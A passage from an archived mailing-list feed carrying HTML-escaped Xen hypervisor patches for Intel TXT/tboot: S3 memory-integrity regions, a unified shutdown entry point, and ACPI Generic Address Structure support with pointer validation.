&lt;br&gt;ACKed-by: Shane Wang &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557558&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;shane.wang@...&lt;/a&gt;&amp;gt;
&lt;br&gt;&lt;br&gt;diff -r bc2e19b70b3d -r 6b9033a1e376 xen/arch/x86/tboot.c
&lt;br&gt;--- a/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Fri Jan 16 13:45:37 2009 -0800
&lt;br&gt;+++ b/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Fri Jan 16 13:46:44 2009 -0800
&lt;br&gt;@@ -99,6 +99,19 @@ void tboot_shutdown(uint32_t shutdown_ty
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;local_irq_disable();
&lt;br&gt;&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* if this is S3 then set regions to MAC */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( shutdown_type == TB_SHUTDOWN_S3 ) {
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;num_mac_regions = 2;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* S3 resume code (and other real mode trampoline code) */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;mac_regions[0].start =
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(uint64_t)bootsym_phys(trampoline_start);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;mac_regions[0].end =
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(uint64_t)bootsym_phys(trampoline_end);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* hypervisor code + data */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;mac_regions[1].start = (uint64_t)xen_phys_start;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;mac_regions[1].end = (uint64_t)xenheap_phys_end;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;/* Create identity map for tboot shutdown code. */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;map_base = PFN_DOWN(g_tboot_shared-&amp;gt;tboot_base);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;map_size = PFN_UP(g_tboot_shared-&amp;gt;tboot_size);
&lt;br&gt;diff -r bc2e19b70b3d -r 6b9033a1e376 xen/include/asm-x86/tboot.h
&lt;br&gt;--- a/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Fri Jan 16 13:45:37 2009 -0800
&lt;br&gt;+++ b/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Fri Jan 16 13:46:44 2009 -0800
&lt;br&gt;@@ -53,6 +53,12 @@ typedef struct __packed {
&lt;br&gt;&lt;br&gt;&amp;nbsp;/* used to communicate between tboot and the launched kernel (i.e. Xen) */
&lt;br&gt;&lt;br&gt;+#define MAX_TB_MAC_REGIONS &amp;nbsp; &amp;nbsp; &amp;nbsp;32
&lt;br&gt;+typedef struct __packed {
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint64_t &amp;nbsp;start;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint64_t &amp;nbsp;end;
&lt;br&gt;+} tboot_mac_region_t;
&lt;br&gt;+
&lt;br&gt;&amp;nbsp;typedef struct acpi_generic_address tboot_acpi_generic_address_t;
&lt;br&gt;&lt;br&gt;&amp;nbsp;typedef struct __packed {
&lt;br&gt;@@ -77,6 +83,9 @@ typedef struct __packed {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;acpi_sinfo; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* where kernel put acpi sleep info in Sx */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;tboot_base; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* starting addr for tboot */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;tboot_size; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* size of tboot */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint8_t &amp;nbsp; num_mac_regions; &amp;nbsp; /* number mem regions to MAC on S3 */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* contig regions memory to MAC on S3 */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tboot_mac_region_t mac_regions[MAX_TB_MAC_REGIONS];
&lt;br&gt;&amp;nbsp;} tboot_shared_t;
&lt;br&gt;&lt;br&gt;&amp;nbsp;#define TB_SHUTDOWN_REBOOT &amp;nbsp; &amp;nbsp; &amp;nbsp;0
&lt;br&gt;&lt;br /&gt; &lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557558&amp;i=2&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;&lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://old.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;xen-txt-06-hypervisor_s3_integrity.patch&lt;/strong&gt; (3K) &lt;a href=&quot;http://old.nabble.com/attachment/21557558/0/xen-txt-06-hypervisor_s3_integrity.patch&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/-PATCH--txt%3A-6-6---hypervisor-integrity-on-S3-tp21557558p21557558.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21557552</id>
	<title>[PATCH] txt: 5/6 - single tboot entry point for shutdown</title>
	<published>2009-01-19T21:50:05Z</published>
	<updated>2009-01-19T21:50:05Z</updated>
	<author>
		<name>Cihula, Joseph</name>
	</author>
	<content type="html">tboot removed the shutdown_entry32 and shutdown_entry64 from tboot_shared_t and
&lt;br&gt;now has just a single shutdown_entry field.
&lt;br&gt;&lt;br&gt;Signed-off-by: Joseph Cihula &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557552&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;joseph.cihula@...&lt;/a&gt;&amp;gt;
&lt;br&gt;&lt;br&gt;diff -r feb5e3c4a82d -r bc2e19b70b3d xen/arch/x86/tboot.c
&lt;br&gt;--- a/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Fri Jan 16 13:44:38 2009 -0800
&lt;br&gt;+++ b/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Fri Jan 16 13:45:37 2009 -0800
&lt;br&gt;@@ -52,8 +52,7 @@ void __init tboot_probe(void)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot;TBOOT: found shared page at phys addr %lx:\n&amp;quot;, p_tboot_shared);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;version: %d\n&amp;quot;, tboot_shared-&amp;gt;version);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;log_addr: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;log_addr);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;shutdown_entry32: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;shutdown_entry32);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;shutdown_entry64: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;shutdown_entry64);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;shutdown_entry: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;shutdown_entry);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;shutdown_type: %d\n&amp;quot;, tboot_shared-&amp;gt;shutdown_type);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;s3_tb_wakeup_entry: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;s3_tb_wakeup_entry);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;s3_k_wakeup_entry: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;s3_k_wakeup_entry);
&lt;br&gt;@@ -115,11 +114,7 @@ void tboot_shutdown(uint32_t shutdown_ty
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;write_ptbase(idle_vcpu[0]);
&lt;br&gt;&lt;br&gt;-#ifdef __x86_64__
&lt;br&gt;- &amp;nbsp; &amp;nbsp;asm volatile ( &amp;quot;call *%%rdi&amp;quot; :: &amp;quot;D&amp;quot; (g_tboot_shared-&amp;gt;shutdown_entry64) );
&lt;br&gt;-#else
&lt;br&gt;- &amp;nbsp; &amp;nbsp;asm volatile ( &amp;quot;call *%0&amp;quot; :: &amp;quot;r&amp;quot; (g_tboot_shared-&amp;gt;shutdown_entry32) );
&lt;br&gt;-#endif
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;((void(*)(void))(unsigned long)g_tboot_shared-&amp;gt;shutdown_entry)();
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;BUG(); /* should not reach here */
&lt;br&gt;&amp;nbsp;}
&lt;br&gt;diff -r feb5e3c4a82d -r bc2e19b70b3d xen/include/asm-x86/tboot.h
&lt;br&gt;--- a/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Fri Jan 16 13:44:38 2009 -0800
&lt;br&gt;+++ b/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Fri Jan 16 13:45:37 2009 -0800
&lt;br&gt;@@ -69,8 +69,7 @@ typedef struct __packed {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uuid_t &amp;nbsp; &amp;nbsp;uuid; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* {663C8DFF-E8B3-4b82-AABF-19EA4D057A08} */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;version; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* Version number; currently supports 0.3 */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;log_addr; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* physical addr of tb_log_t log */
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;shutdown_entry32; &amp;nbsp;/* entry point for tboot shutdown from 32b */
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;shutdown_entry64; &amp;nbsp;/* entry point for tboot shutdown from 64b */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;shutdown_entry; &amp;nbsp; &amp;nbsp;/* entry point for tboot shutdown */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;shutdown_type; &amp;nbsp; &amp;nbsp; /* type of shutdown (TB_SHUTDOWN_*) */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;s3_tb_wakeup_entry;/* entry point for tboot s3 wake up */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;s3_k_wakeup_entry; /* entry point for xen s3 wake up */
&lt;br&gt;&lt;br /&gt; &lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557552&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;&lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://old.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;xen-txt-05-unified_shutdown_entry.patch&lt;/strong&gt; (3K) &lt;a href=&quot;http://old.nabble.com/attachment/21557552/0/xen-txt-05-unified_shutdown_entry.patch&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/-PATCH--txt%3A-5-6---single-tboot-entry-point-for-shutdown-tp21557552p21557552.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21557538</id>
	<title>[PATCH] txt: 4/6 - ACPI Generic Address Structure for tboot shutdown</title>
	<published>2009-01-19T21:49:43Z</published>
	<updated>2009-01-19T21:49:43Z</updated>
	<author>
		<name>Cihula, Joseph</name>
	</author>
	<content type="html">New versions of tboot support ACPI GAS (Generic Address Structure) for handling
&lt;br&gt;sleep states. &amp;nbsp;This required a change to the tboot_shared_t data structure that
&lt;br&gt;is not backwards compatible. &amp;nbsp;This patch requires that new version makes use of
&lt;br&gt;GAS when invoking tboot on shutdown.
&lt;br&gt;&lt;br&gt;Signed-off-by: Shane Wang &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557538&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;shane.wang@...&lt;/a&gt;&amp;gt;
&lt;br&gt;Signed-off-by: Joseph Cihula &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557538&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;joseph.cihula@...&lt;/a&gt;&amp;gt;
&lt;br&gt;&lt;br&gt;diff -r a851239c01cb -r feb5e3c4a82d xen/arch/x86/acpi/power.c
&lt;br&gt;--- a/xen/arch/x86/acpi/power.c Fri Jan 16 13:43:15 2009 -0800
&lt;br&gt;+++ b/xen/arch/x86/acpi/power.c Fri Jan 16 13:44:38 2009 -0800
&lt;br&gt;@@ -276,39 +276,76 @@ static int acpi_get_wake_status(void)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;return val;
&lt;br&gt;&amp;nbsp;}
&lt;br&gt;&lt;br&gt;+static int verify_acpi_ptr(tboot_acpi_generic_address_t blk)
&lt;br&gt;+{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;struct page_info *pg;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;struct domain *d;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint64_t addr;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( blk.space_id != ACPI_ADR_SPACE_SYSTEM_MEMORY )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return -1;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;ACPI_MOVE_64_TO_64(&amp;addr, &amp;blk.address);
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( (addr &amp;gt;= bootsym_phys(trampoline_start))
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;&amp; (addr &amp;lt;= bootsym_phys(trampoline_end)) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;gdprintk(XENLOG_ERR, &amp;quot;ACPI Pointer in trampoline code\n&amp;quot;);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 0;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;pg = maddr_to_page(addr);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( is_xen_heap_page(pg) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;gdprintk(XENLOG_ERR, &amp;quot;ACPI Pointer in Xen\n&amp;quot;);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 0;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;d = maddr_get_owner(addr);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( d != NULL )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;gdprintk(XENLOG_ERR, &amp;quot;ACPI Pointer in Domain %u\n&amp;quot;, d-&amp;gt;domain_id);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 0;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;return -1;
&lt;br&gt;+}
&lt;br&gt;+
&lt;br&gt;&amp;nbsp;static void tboot_sleep(u8 sleep_state)
&lt;br&gt;&amp;nbsp;{
&lt;br&gt;- &amp;nbsp; uint32_t shutdown_type;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t shutdown_type;
&lt;br&gt;&lt;br&gt;- &amp;nbsp; g_tboot_shared-&amp;gt;acpi_sinfo.pm1a_cnt =
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (uint16_t)acpi_sinfo.pm1a_cnt_blk.address;
&lt;br&gt;- &amp;nbsp; g_tboot_shared-&amp;gt;acpi_sinfo.pm1b_cnt =
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (uint16_t)acpi_sinfo.pm1b_cnt_blk.address;
&lt;br&gt;- &amp;nbsp; g_tboot_shared-&amp;gt;acpi_sinfo.pm1a_evt =
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (uint16_t)acpi_sinfo.pm1a_evt_blk.address;
&lt;br&gt;- &amp;nbsp; g_tboot_shared-&amp;gt;acpi_sinfo.pm1b_evt =
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (uint16_t)acpi_sinfo.pm1b_evt_blk.address;
&lt;br&gt;- &amp;nbsp; g_tboot_shared-&amp;gt;acpi_sinfo.pm1a_cnt_val = acpi_sinfo.pm1a_cnt_val;
&lt;br&gt;- &amp;nbsp; g_tboot_shared-&amp;gt;acpi_sinfo.pm1b_cnt_val = acpi_sinfo.pm1b_cnt_val;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* Verify ACPI addresses */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( !verify_acpi_ptr(acpi_sinfo.pm1a_cnt_blk) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( !verify_acpi_ptr(acpi_sinfo.pm1b_cnt_blk) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( !verify_acpi_ptr(acpi_sinfo.pm1a_evt_blk) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( !verify_acpi_ptr(acpi_sinfo.pm1b_evt_blk) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return;
&lt;br&gt;&lt;br&gt;- &amp;nbsp; switch ( sleep_state )
&lt;br&gt;- &amp;nbsp; {
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; case ACPI_STATE_S3:
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; shutdown_type = TB_SHUTDOWN_S3;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; g_tboot_shared-&amp;gt;s3_k_wakeup_entry =
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (uint32_t)bootsym_phys(wakeup_start);
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; case ACPI_STATE_S4:
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; shutdown_type = TB_SHUTDOWN_S4;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; case ACPI_STATE_S5:
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; shutdown_type = TB_SHUTDOWN_S5;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; default:
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return;
&lt;br&gt;- &amp;nbsp; }
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;memcpy(&amp;g_tboot_shared-&amp;gt;acpi_sinfo, &amp;acpi_sinfo,
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sizeof(tboot_acpi_sleep_info));
&lt;br&gt;&lt;br&gt;- &amp;nbsp; tboot_shutdown(shutdown_type);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;switch ( sleep_state )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;case ACPI_STATE_S3:
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;shutdown_type = TB_SHUTDOWN_S3;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;s3_k_wakeup_entry =
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(uint32_t)bootsym_phys(wakeup_start);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;break;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;case ACPI_STATE_S4:
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;shutdown_type = TB_SHUTDOWN_S4;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;break;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;case ACPI_STATE_S5:
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;shutdown_type = TB_SHUTDOWN_S5;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;break;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;default:
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tboot_shutdown(shutdown_type);
&lt;br&gt;&amp;nbsp;}
&lt;br&gt;&lt;br&gt;&amp;nbsp;/* System is really put into sleep state by this stub */
&lt;br&gt;diff -r a851239c01cb -r feb5e3c4a82d xen/arch/x86/tboot.c
&lt;br&gt;--- a/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Fri Jan 16 13:43:15 2009 -0800
&lt;br&gt;+++ b/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Fri Jan 16 13:44:38 2009 -0800
&lt;br&gt;@@ -42,6 +42,12 @@ void __init tboot_probe(void)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;if ( memcmp(&amp;tboot_shared_uuid, (uuid_t *)tboot_shared, sizeof(uuid_t)) )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return;
&lt;br&gt;&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* new tboot_shared (w/ GAS support) is not backwards compatible */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( tboot_shared-&amp;gt;version &amp;lt; 3 ) {
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot;unsupported version of tboot (%u)\n&amp;quot;, tboot_shared-&amp;gt;version);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared = tboot_shared;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot;TBOOT: found shared page at phys addr %lx:\n&amp;quot;, p_tboot_shared);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;version: %d\n&amp;quot;, tboot_shared-&amp;gt;version);
&lt;br&gt;@@ -52,11 +58,8 @@ void __init tboot_probe(void)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;s3_tb_wakeup_entry: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;s3_tb_wakeup_entry);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;s3_k_wakeup_entry: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;s3_k_wakeup_entry);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;&amp;acpi_sinfo: 0x%p\n&amp;quot;, &amp;tboot_shared-&amp;gt;acpi_sinfo);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;if ( tboot_shared-&amp;gt;version &amp;gt;= 0x02 )
&lt;br&gt;- &amp;nbsp; &amp;nbsp;{
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;tboot_base: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;tboot_base);
